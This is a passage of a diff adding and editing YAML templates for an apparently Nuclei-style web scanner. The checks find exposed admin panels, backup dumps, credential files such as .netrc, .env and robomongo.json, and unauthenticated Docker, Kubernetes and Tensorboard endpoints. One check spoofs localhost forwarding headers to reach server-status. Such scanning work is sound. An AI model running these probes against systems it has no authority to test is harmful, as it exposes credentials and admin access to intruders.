+      - type: word
+        name: knownsec-ns
+        words:
+          - ".jiasule.net"
+
+      - type: word
+        name: chuangyudun
+        words:
+          - ".365cyd.net"
+
+      - type: word
+        name: qianxin
+        words:
+          - ".360wzb.com"
+
+      - type: word
+        name: anquanbao
+        words:
+          - ".anquanbao.com"
+
+      - type: word
+        name: wangsu
+        words:
+          - ".chinanetcenter.com"
+
+      - type: word
+        name: baiduyunjiasue
+        words:
+          - ".ns.yunjiasu.com"
+
+      - type: word
+        name: chinacache
+        words:
+          - ".chinacache.com"
+
+      - type: word
+        name: cloudflare
+        words:
+          - "ns.cloudflare.com"
+
+      - type: word
+        name: edns
+        words:
+          - ".iidns.com"

exposed-panels/clave-login-panel.yaml

@@ -0,0 +1,23 @@
+id: clave-login-panel
+
+info:
+  name: Clave login panel
+  author: __Fazal
+  severity: info
+  tags: panel,clave
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin.php'
+
+    redirects: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Clave"

exposed-panels/cx-cloud-login.yaml

@@ -0,0 +1,18 @@
+id: cx-cloud-login
+
+info:
+  name: CX Cloud
+  author: dhiyaneshDk
+  severity: info
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+      - '{{BaseURL}}/cxcum/'
+
+    matchers:
+      - type: word
+        words:
+          - "<title>CX Cloud</title>"

exposed-panels/ems-login-panel.yaml

@@ -0,0 +1,22 @@
+id: ems-login-panel
+
+info:
+  name: EMS Login page detection
+  author: __Fazal
+  severity: info
+  tags: panel,ems
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/EMSWebClient/Login.aspx'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "EMS Web Client - Login"

exposed-panels/exposed-nomad.yaml

@@ -0,0 +1,30 @@
+id: exposed-nomad
+
+info:
+  name: Exposed Nomad Jobs
+  author: pdteam
+  severity: high
+  tags: nomad,devops,hashicorp
+  reference: https://www.nomadproject.io/docs/internals/security
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ui/jobs"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Nomad"
+          - "nomad-ui"
+        condition: and
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200

exposed-panels/jenkins-login.yaml

@@ -0,0 +1,21 @@
+id: jenkins-login
+
+info:
+  name: Jenkins Login
+  author: pdteam
+  severity: info
+  tags: panel,jenkins
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Sign in [Jenkins]'
+      - type: status
+        status:
+          - 200

exposed-panels/kubernetes-dashboard.yaml

@@ -4,7 +4,7 @@ info:
   name: Kubernetes Console Exposure
   author: pdteam
   severity: low
-  tags: panel
+  tags: panel,kubernetes,devops
 
 requests:
   - method: GET
@@ -13,4 +13,4 @@ requests:
     matchers:
       - type: word
         words:
-          - "Kubernetes Dashboard</title>"
+          - "Kubernetes Dashboard</title>"

exposed-panels/lancom-router-panel.yaml

@@ -0,0 +1,22 @@
+id: lancom-router-panel
+
+info:
+  name: Lancom Router Panel
+  author: __Fazal
+  severity: info
+  tags: panel,lancom
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "LANCOM 1790VA-4G"

exposed-panels/magento-admin-panel.yaml

@@ -0,0 +1,25 @@
+id: magento-admin-panel
+
+info:
+  name: Exposed Magento Admin Panel
+  author: TechbrunchFR
+  severity: info
+  description: As a security best practice, Magento recommends that you use a unique, custom Admin URL instead of the default admin or a common term such as backend. Although it will not directly protect your site from a determined bad actor, it can reduce exposure to scripts that try to gain unauthorized access.
+  reference: https://docs.magento.com/user-guide/stores/store-urls-custom-admin.html
+  tags: magento
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+
+      - type: word
+        words:
+          - "/admin/index/index/key/"
+        part: header

exposed-panels/openerp-database.yaml

@@ -0,0 +1,22 @@
+id: openerp-database
+
+info:
+  name: OpenERP database instances
+  author: impramodsargar
+  severity: info
+  tags: openerp
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web/database/selector/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>Odoo</title>'
+
+      - type: status
+        status:
+          - 200

exposed-panels/phppgadmin-panel.yaml

@@ -0,0 +1,19 @@
+id: phppgadmin-panel
+
+info:
+  name: phpPgAdmin Panel
+  author: Ganofins
+  severity: info
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/phppgadmin/"
+    matchers:
+      - type: word
+        words:
+          - "phpPgAdmin"
+          - "browser.php"
+          - "intro.php"
+        condition: and

exposed-panels/plesk-obsidian.yaml

@@ -0,0 +1,23 @@
+id: plesk-obsidian
+
+info:
+  name: Plesk Obsidian
+  author: dhiyaneshDK
+  severity: info
+  reference: https://www.exploit-db.com/ghdb/6951
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login_up.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Plesk Obsidian'
+
+      - type: status
+        status:
+          - 200

exposed-panels/plesk-onyx.yaml

@@ -17,7 +17,7 @@ requests:
       - type: word
         words:
           - 'Plesk Onyx'
-          - 'Plesk Obsidian'
+
       - type: status
         status:
           - 200

exposed-panels/portainer-init-deploy.yaml

@@ -0,0 +1,26 @@
+id: portainer-init-deploy
+info:
+  name: Portainer Init Deploy
+  author: princechaddha
+  severity: high
+  tags: portainer,exposure,docker,devops
+  reference: https://documentation.portainer.io/v2.0/deploy/initial/
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/users/admin/check"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "No administrator account found inside the database"
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: status
+        status:
+          - 404

exposed-panels/saferoads-vms-login.yaml

@@ -0,0 +1,17 @@
+id: saferoads-vms-login
+
+info:
+  name: Saferoads VMS Login
+  author: dhiyaneshDk
+  severity: info
+  tags: login
+  reference: https://www.exploit-db.com/ghdb/6941
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login.html'
+    matchers:
+      - type: word
+        words:
+          - 'Saferoads VMS'

exposed-panels/securenvoy-panel.yaml

@@ -0,0 +1,23 @@
+id: securenvoy-panel
+
+info:
+  name: SecurEnvoy Admin Login
+  author: 0xrod
+  severity: info
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secadmin/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<base href="/secadmin/">'
+        part: body
+
+      - type: status
+        status:
+          - 200

exposed-panels/server-backup-login.yaml

@@ -0,0 +1,22 @@
+id: server-backup-login
+
+info:
+  name: Server Backup Manager SE Login
+  author: dhiyaneshDK
+  severity: info
+  reference: https://www.exploit-db.com/ghdb/6949
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login.zul'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>Idera Server Backup Manager SE  </title>'
+      - type: status
+        status:
+          - 200

exposed-panels/servicedesk-login-panel.yaml

@@ -0,0 +1,23 @@
+id: servicedesk-login-panel
+
+info:
+  name: Servicedesk Login Panel Detector
+  author: aashiq
+  severity: info
+  description: Searches for ServiceDesk login panels by trying to query the "/servicedesk/customer/user/login" endpoint
+  tags: servicedesk,confluence,jira,panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/servicedesk/customer/user/login"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "https://confluence.atlassian.com"

exposed-panels/synnefo-admin-panel.yaml

@@ -0,0 +1,22 @@
+id: synnefo-admin-panel
+
+info:
+  name: Synnefo Admin Panel Exposure
+  author: impramodsargar
+  severity: info
+  tags: panel,synnefo
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/synnefoclient/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>Synnefo Admin</title>'
+
+      - type: status
+        status:
+          - 200

exposed-panels/zenario-login-panel.yaml

@@ -0,0 +1,22 @@
+id: zenario-login-panel
+
+info:
+  name: Zenario Admin login
+  author: __Fazal
+  severity: info
+  tags: panel,zenario
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/zenario/admin/welcome.php'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Welcome to Zenario"

exposures/backups/php-backup-files.yaml

@@ -25,9 +25,6 @@ requests:
       - "{{BaseURL}}/wp-config.php.bak"
       - "{{BaseURL}}/wp-login.php.bak"
 
-    redirects: true
-    max-redirects: 1
-
     matchers-condition: and
     matchers:
       - type: status

exposures/backups/sql-dump.yaml

@@ -30,12 +30,15 @@ requests:
       - "{{BaseURL}}/wp-content/uploads/dump.sql"
     headers:
       Range: "bytes=0-3000"
+
+    max-size: 2000 # Size in bytes - Max Size to read from server response
     matchers-condition: and
     matchers:
       - type: regex
         regex:
           - "(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO"
         part: body
+
       - type: status
         status:
           - 200

exposures/backups/zip-backup-files.yaml

@@ -32,6 +32,8 @@ requests:
       - "{{BaseURL}}/{{Hostname}}.sql.zip"
       - "{{BaseURL}}/{{Hostname}}.sql.z"
       - "{{BaseURL}}/{{Hostname}}.sql.tar.z"
+
+    max-size: 500 # Size in bytes - Max Size to read from server response
     matchers-condition: and
     matchers:
       - type: binary
@@ -49,10 +51,12 @@ requests:
           - "504B0304"  # zip
         condition: or
         part: body
+
       - type: regex
         regex:
           - "application/[-\\w.]+"
         part: header
+
       - type: status
         status:
           - 200

exposures/configs/amazon-docker-config-disclosure.yaml

@@ -4,7 +4,7 @@ info:
   name: Dockerrun AWS Configuration Exposure
   author: pdteam
   severity: medium
-  tags: config,exposure,aws
+  tags: config,exposure,aws,devops
 
 requests:
   - method: GET
@@ -15,4 +15,4 @@ requests:
         words:
           - 'AWSEBDockerrunVersion'
           - 'containerDefinitions'
-        condition: and
+        condition: and

exposures/configs/docker-compose-config.yaml

@@ -4,7 +4,7 @@ info:
   name: docker-compose.yml exposure
   author: meme-lord & blckraven & geeknik
   severity: medium
-  tags: config,exposure
+  tags: config,exposure,devops
 
 requests:
   - method: GET

exposures/configs/esmtprc-config.yaml

@@ -0,0 +1,32 @@
+id: esmtprc-config
+
+info:
+  name: eSMTP config disclosure
+  author: geeknik
+  reference: https://linux.die.net/man/5/esmtprc
+  severity: high
+  tags: esmtp,config
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.esmtprc"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "text/plain"
+
+      - type: word
+        part: body
+        words:
+          - "hostname"
+          - "username"
+          - "password"
+        condition: and
+
+      - type: status
+        status:
+          - 200

exposures/configs/exposed-vscode.yaml

@@ -0,0 +1,18 @@
+id: exposed-vscode
+
+info:
+  name: Exposed VSCode Folders
+  author: aashiq
+  severity: low
+  description: Searches for exposed Visual Studio Code Directories by querying the /.vscode endpoint and existence of "index of" in the body
+  tags: vscode,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.vscode/"
+    matchers:
+      - type: word
+        words:
+          - "Index of /.vscode"
+        part: body

exposures/configs/hikvision-info-leak.yaml

@@ -0,0 +1,25 @@
+id: hikvision-info-leak
+
+info:
+  name: Hikvision Info Leak
+  author: pikpikcu
+  severity: medium
+  tags: exposure,config
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/config/user.xml'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<user name='
+          - 'password='
+        condition: and
+
+      - type: word
+        words:
+          - "text/xml"
+        part: header

exposures/configs/laravel-env.yaml

@@ -17,7 +17,6 @@ requests:
       - "{{BaseURL}}/.env.prod.local"
       - "{{BaseURL}}/.env.production.local"
       - "{{BaseURL}}/.env.local"
-      - "{{BaseURL}}/.env.example"
       - "{{BaseURL}}/.env.stage"
       - "{{BaseURL}}/.env.live"
     matchers-condition: and

exposures/configs/magento-config.yaml

@@ -3,7 +3,7 @@ info:
   name: Magento Config Disclosure
   author: geeknik
   severity: medium
-  tags: config,exposure
+  tags: config,exposure,magento
 
 requests:
   - method: GET

exposures/configs/nagios-status-page.yaml

@@ -0,0 +1,20 @@
+id: nagios-status-page
+
+info:
+  name: Nagios Current Status Page
+  author: dhiyaneshDk
+  severity: low
+  tags: exposure,nagios
+  reference: https://www.exploit-db.com/ghdb/6918
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/nagios/cgi-bin/status.cgi'
+      - '{{BaseURL}}/cgi-bin/nagios4/status.cgi'
+      - '{{BaseURL}}/cgi-bin/nagios3/status.cgi'
+
+    matchers:
+      - type: word
+        words:
+          - Current Network Status

exposures/configs/netrc.yaml

@@ -12,6 +12,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/.netrc"
+      - "{{BaseURL}}/_netrc"
 
     matchers-condition: and
     matchers:

exposures/configs/robomongo-credential.yaml

@@ -0,0 +1,33 @@
+id: robomongo-credential
+
+info:
+  name: MongoDB credential disclosure
+  author: geeknik
+  description: MongoDB credentials file used by RoboMongo
+  severity: high
+  tags: mongodb,robomongo,disclosure,config
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/db/robomongo.json"
+      - "{{BaseURL}}/robomongo.json"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: word
+        words:
+          - "databaseName"
+          - "userName"
+          - "userPassword"
+          - "serverHost"
+        condition: and
+
+      - type: status
+        status:
+          - 200

exposures/files/bower-json.yaml

@@ -5,7 +5,7 @@ info:
   author: oppsec
   severity: info
   description: Bower is a package manager which stores packages informations in bower.json file
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET

exposures/files/domcfg-page.yaml

@@ -4,7 +4,7 @@ info:
   author: gevakun
   severity: low
   reference: https://twitter.com/Wh11teW0lf/status/1295594085445709824
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET

exposures/files/drupal-install.yaml

@@ -4,12 +4,13 @@ info:
   name: Drupal Install
   author: NkxxkN
   severity: low
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/install.php?profile=default"
+
     redirects: true
     max-redirects: 1
     matchers:

exposures/files/ds_store.yaml

@@ -4,14 +4,12 @@ info:
   name: Directory Listing via DS_Store
   author: 0w4ys
   severity: info
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/.DS_Store"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
 
     matchers-condition: and
     matchers:

exposures/files/exposed-alps-spring.yaml

@@ -4,7 +4,7 @@ info:
   name: Exposed Spring Data REST Application-Level Profile Semantics (ALPS)
   author: dwisiswant0
   severity: medium
-  tags: file,exposure
+  tags: exposure
   reference: https://niemand.com.ar/2021/01/08/exploiting-application-level-profile-semantics-apls-from-spring-data-rest/
 
 requests:

exposures/files/filezilla.yaml

@@ -4,7 +4,7 @@ info:
   name: Filezilla
   author: amsda
   severity: medium
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET

exposures/files/ioncube-loader-wizard.yaml

@@ -0,0 +1,26 @@
+id: ioncube-loader-wizard
+
+info:
+  name: Ioncube Loader Wizard disclosure
+  author: Mubassirpatel
+  severity: medium
+  description: ioncube-loader-wizard is vulnerable to xss,phpinfo, etc.
+  reference: https://firefart.at/post/multiple-vulnerabilities-in-ioncube-loader-wizard/
+  tags: ioncube,disclosure,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ioncube/loader-wizard.php"
+      - "{{BaseURL}}/loader-wizard.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ionCube Loader Wizard"
+        part: body
+
+      - type: status
+        status:
+          - 200

exposures/files/joomla-file-listing.yaml

@@ -0,0 +1,26 @@
+id: joomla-file-listing
+
+info:
+  name: Joomla database files listing
+  author: iampritam
+  severity: info
+  reference: https://www.exploit-db.com/ghdb/6377
+  description: Searches for the pattern /libraries/joomla/database/ on passed URLs.
+  tags: exposure,joomla,listing
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/libraries/joomla/database/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Index of /libraries/joomla/database"
+          - "Parent Directory"
+        condition: and
+
+      - type: status
+        status:
+          - 200

exposures/files/keycloak-json.yaml

@@ -3,7 +3,7 @@ info:
   name: Keycloak Json File
   author: oppsec
   severity: info
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET

exposures/files/lazy-file.yaml

@@ -4,7 +4,7 @@ info:
   name: Lazy File Manager
   author: amsda
   severity: medium
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET

exposures/files/phpunit.yaml

@@ -4,7 +4,7 @@ info:
   name: phpunit.xml file disclosure
   author: pikpikcu
   severity: info
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET

exposures/files/yarn-lock.yaml

@@ -5,7 +5,7 @@ info:
   author: oppsec
   severity: info
   description: yarn.lock is a file which store all exactly versions of each dependency were installed.
-  tags: file,exposure
+  tags: exposure
 
 requests:
   - method: GET

helpers/payloads/request-headers.txt

@@ -3,31 +3,99 @@ Accept-Charset
 Accept-Datetime
 Accept-Encoding
 Accept-Language
+Alt-Svc
 Authorization
+Base-Url
+CF-Connecting-IP
 Cache-Control
+Client-IP
+Cluster
+Cluster-Client-IP
 Connection
+Contact
 Content-Length
 Content-MD5
 Content-Type
 Cookie
+DNT
 Date
+Destination
 Expect
 Forwarded
 From
+Front-End-Https
+HTTP_CLIENT_IP
+HTTP_FORWARDED
+HTTP_FORWARDED_FOR
+HTTP_X_FORWARDED
+HTTP_X_FORWARDED_FOR
 Host
+Http-Url
 If-Match
 If-Modified-Since
 If-None-Match
 If-Range
 If-Unmodified-Since
+Link
+Location
 Max-Forwards
 Origin
 Pragma
+Profile
+Proxy
 Proxy-Authorization
+Proxy-Connection
+Proxy-Host
+Proxy-Url
 Range
+Real-IP
+Redirect
 Referer
+Referrer
+Refferer
+Request-Uri
 TE
+True-Client-IP
+UID
 Upgrade
+Uri
 User-Agent
 Via
 Warning
+X-ATT-DeviceId
+X-Arbitrary
+X-CSRFToken
+X-Client-IP
+X-Cluster-Client-IP
+X-Correlation-ID
+X-Csrf-Token
+X-Do-Not-Track
+X-Forward-For
+X-Forwarded
+X-Forwarded-By
+X-Forwarded-For
+X-Forwarded-For-IP
+X-Forwarded-For-Original
+X-Forwarded-Host
+X-Forwarded-Proto
+X-Forwarded-Server
+X-Forwarder-For
+X-Host
+X-Http-Destinationurl
+X-Http-Host-Override
+X-Http-Method-Override
+X-Original-Remote-Addr
+X-Original-Url
+X-Originating-IP
+X-Proxy-Url
+X-ProxyUser-IP
+X-Real-IP
+X-Remote-Addr
+X-Remote-IP
+X-Request-ID
+X-Requested-With
+X-Rewrite-Url
+X-True-IP
+X-UIDH
+X-Wap-Profile
+X-XSRF-TOKEN

iot/xp-webcam.yaml

@@ -0,0 +1,26 @@
+id: xp-webcam
+
+info:
+  name: XP Webcam Viewer Page
+  author: aashiq
+  severity: medium
+  description: Searches for exposed webcams by querying the /mobile.html endpoint and existance of webcamXP in the body
+  tags: webcam,iot
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/mobile.html"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "webcams and ip cameras server for windows"
+        part: body
+
+      - type: word
+        words:
+          - "Please provide a valid username/password to access this server."
+        part: body
+        negative: true

miscellaneous/google-floc-disabled.yaml

@@ -0,0 +1,20 @@
+id: google-floc-disabled
+
+info:
+  name: Google FLoC Disabled
+  author: geeknik
+  description: The detected website has decided to explicity exclude itself from Google FLoC tracking.
+  reference: https://www.bleepingcomputer.com/news/security/github-disables-google-floc-user-tracking-on-its-website/
+  severity: info
+  tags: google,floc,misc
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "interest-cohort=()"

miscellaneous/tabnabbing-check.yaml

@@ -0,0 +1,25 @@
+id: tabnabbing-check
+
+info:
+  name: Reverse Tabnabbing
+  author: bolli95
+  severity: info
+  tags: misc
+  reference: |
+      - https://owasp.org/www-community/attacks/Reverse_Tabnabbing
+      - https://www.youtube.com/watch?v=TMKZCHYmtD4
+      - https://hackerone.com/reports/211065
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'regex("<a[A-z0-9\/\"\&\=\%\#\.\:\_\@\\\$ ]*target\=\"_blank\"[A-z0-9\/\"\&\%\=\#\.\:\_\@\\\$ ]*>", replace_regex(replace_regex(body, "<a[A-z0-9\/\"\&\=\%\#\.\:\_\@\\\$ ]*target\=\"_blank\"[A-z0-9\/\"\&\%\=\#\.\:\_\@\\\$ ]*(rel=\"noopener noreferrer\"|rel=\"noreferrer noopener\"|rel=\"noreferrer\"|rel=\"noopener\")[A-z0-9\/\"\&\%\=\#\.\:\_\@\\\$ ]*>", ""), "<a[A-z0-9\/\"\&\=\%\#\.\:\_\@\\\$ ]*(rel=\"noopener noreferrer\"|rel=\"noreferrer noopener\"|rel=\"noreferrer\"|rel=\"noopener\")[A-z0-9\/\"\&\%\=\#\.\:\_\@\\\$ ]*target\=\"_blank\"[A-z0-9\/\"\&\%\=\#\.\:\_\@\\\$ ]*>", "")) || regex("window\.open\\([^,]+\\)", body)'
+      - type: dsl
+        dsl:
+          - "!contains(tolower(all_headers), 'referrer-policy: no-referrer')"

misconfiguration/cx-cloud-upload-detect.yaml

@@ -0,0 +1,17 @@
+id: cx-cloud-upload-detect
+
+info:
+  name: CX Cloud Unauthenticated Upload Detect
+  author: dhiyaneshDk
+  severity: info
+  tags: upload
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/upload.jsp'
+    matchers:
+      - type: word
+        words:
+          - "<HEAD><TITLE>Display file upload form to the user</TITLE></HEAD>"
+        condition: and

misconfiguration/docker-registry.yaml

@@ -4,7 +4,7 @@ info:
   name: Docker Registry Listing
   author: puzzlepeaches
   severity: medium
-  tags: docker
+  tags: docker,devops
 
 requests:
   - method: GET

misconfiguration/exposed-docker-api.yaml

@@ -4,7 +4,7 @@ info:
   name: Exposed Docker API
   author: furkansenan & dwisiswant0
   severity: info
-  tags: docker,unauth
+  tags: docker,unauth,devops
 
 requests:
   - method: GET
@@ -26,4 +26,4 @@ requests:
         part: body
       - type: status
         status:
-          - 200
+          - 200

misconfiguration/java-melody-exposed.yaml

@@ -2,13 +2,13 @@ id: java-melody-exposed
 
 info:
   name: JavaMelody Monitoring Exposed
-  author: dhiyaneshDK
+  author: dhiyaneshDK & thomas_from_offensity
   severity: medium
   description: JavaMelody is a tool used to monitor Java or Java EE applications in QA and production environments. JavaMelody was detected on this web application. One option in the dashboard is to “View http sessions”. This can be used by an attacker to steal a user’s session.
   reference: |
     - https://www.acunetix.com/vulnerabilities/web/javamelody-publicly-accessible/
     - https://github.com/javamelody/javamelody/wiki/UserGuide#16-security
-  tags: config,jira,confluence,bamboo,atlassian
+  tags: config,java,javamelody
 
 requests:
   - method: GET

misconfiguration/kubeflow-dashboard-unauth.yaml

@@ -0,0 +1,30 @@
+id: kubeflow-dashboard-unauth
+
+info:
+  name: Kubeflow Unauth
+  author: dhiyaneshDk
+  severity: high
+  reference: https://github.com/kubeflow/kubeflow
+  tags: kubeflow,unauth
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/pipeline/apis/v1beta1/runs?page_size=5&sort_by=created_at%20desc'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{"runs":[{"id":'
+          - 'resource_references'
+        condition: and
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: status
+        status:
+          - 200

misconfiguration/kubernetes-pods.yaml

@@ -6,7 +6,7 @@ info:
   severity: critical
   description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.
   reference: https://blog.binaryedge.io/2018/12/06/kubernetes-being-hijacked-worldwide/
-  tags: k8,unauth
+  tags: k8,unauth,kubernetes,devops
 
 requests:
   - method: GET

misconfiguration/misconfigured-docker.yaml

@@ -5,7 +5,7 @@ info:
   author: dhiyaneshDK
   severity: critical
   reference: https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/misconfiguration.html
-  tags: docker,unauth
+  tags: docker,unauth,devops
 
 requests:
   - method: GET

misconfiguration/pinpoint-unauth.yaml

@@ -0,0 +1,31 @@
+id: pinpoint-unauth
+
+info:
+  name: PinPoint Unauth
+  author: dhiyaneshDk
+  severity: high
+  reference: https://github.com/pinpoint-apm/pinpoint
+  tags: pippoint,unauth
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/applications.pinpoint'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "applicationName"
+          - "serviceType"
+        condition: and
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: status
+        status:
+          - 200

misconfiguration/server-status-localhost.yaml

@@ -4,18 +4,22 @@ info:
   name: Server Status Disclosure
   author: pdteam & geeknik
   severity: low
-  tags: config
+  tags: apache,debug
 
 requests:
   - method: GET
     headers:
+      Forwarded: "127.0.0.1"
       X-Client-IP: "127.0.0.1"
-      X-Remote-IP: "127.0.0.1"
-      X-Remote-Addr: "127.0.0.1"
+      X-Forwarded-By: "127.0.0.1"
       X-Forwarded-For: "127.0.0.1"
-      X-Originating-IP: "127.0.0.1"
-      X-Host: "127.0.0.1"
+      X-Forwarded-For-IP: "127.0.0.1"
       X-Forwarded-Host: "127.0.0.1"
+      X-Host: "127.0.0.1"
+      X-Originating-IP: "127.0.0.1"
+      X-Remote-Addr: "127.0.0.1"
+      X-Remote-IP: "127.0.0.1"
+      X-True-IP: "127.0.0.1"
     path:
       - "{{BaseURL}}/server-status"
     matchers:

misconfiguration/springboot/springboot-beans.yaml

@@ -0,0 +1,36 @@
+id: springboot-beans
+
+info:
+  name: Detect Springboot Beans Actuator
+  author: ajaysenr
+  severity: low
+  description: Displays a complete list of all the Spring beans in the application
+  tags: springboot,disclosure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/beans"
+      - "{{BaseURL}}/actuator/beans"
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"type"'
+          - '"beans"'
+          - '"dependencies"'
+          - '"scope"'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "application/json"
+          - "application/vnd.spring-boot.actuator"
+          - "application/vnd.spring-boot.actuator.v1+json"
+        condition: or
+        part: header

misconfiguration/springboot/springboot-env.yaml

@@ -18,8 +18,14 @@ requests:
         part: body
         words:
           - "applicationConfig"
+
+      - type: word
+        part: body
+        words:
+          - "server.port"
           - "local.server.port"
-        condition: and
+        condition: or
+
       - type: status
         status:
           - 200

misconfiguration/springboot/springboot-httptrace.yaml

@@ -10,6 +10,7 @@ info:
 requests:
   - method: GET
     path:
+      - "{{BaseURL}}/httptrace"
       - "{{BaseURL}}/actuator/httptrace"
     matchers-condition: and
     matchers:

misconfiguration/unauthenticated-tensorboard.yaml

@@ -0,0 +1,25 @@
+id: unauthenticated-tensorboard
+
+info:
+  name: Unauthenticated Tensorboard by Tensorflow
+  author: dhiyaneshDk
+  severity: high
+  tags: tensorflow,tensorboard,unauth
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/data/plugins_listing'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'scalars'
+          - 'loading_mechanism'
+          - 'custom_scalars'
+        condition: and
+
+      - type: status
+        status:
+          - 200

takeovers/bitbucket-takeover.yaml

@@ -12,8 +12,14 @@ requests:
     path:
       - "{{BaseURL}}"
 
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - The page you have requested does not exist
-          - Repository not found
+          - Repository not found
+        part: body
+
+      - type: word
+        words:
+          - text/plain
+        part: header

technologies/default-apache-test-page.yaml

@@ -0,0 +1,19 @@
+id: default-apache-test-page
+
+info:
+  name: Apache HTTP Server Test Page
+  author: dhiyaneshDk
+  severity: info
+  tags: tech,apache
+  reference: https://www.shodan.io/search?query=http.title%3A%22Apache+HTTP+Server+Test+Page+powered+by+CentOS%22
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers:
+      - type: word
+        words:
+          - "<title>Apache HTTP Server Test Page powered by CentOS</title>"
+        part: body

technologies/default-apache2-page.yaml

@@ -0,0 +1,19 @@
+id: default-apache2-page
+
+info:
+  name: Apache2 Default Test Page
+  author: dhiyaneshDk
+  severity: info
+  tags: tech,apache
+  reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Debian+Default+Page%3A+It+works%22
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers:
+      - type: word
+        words:
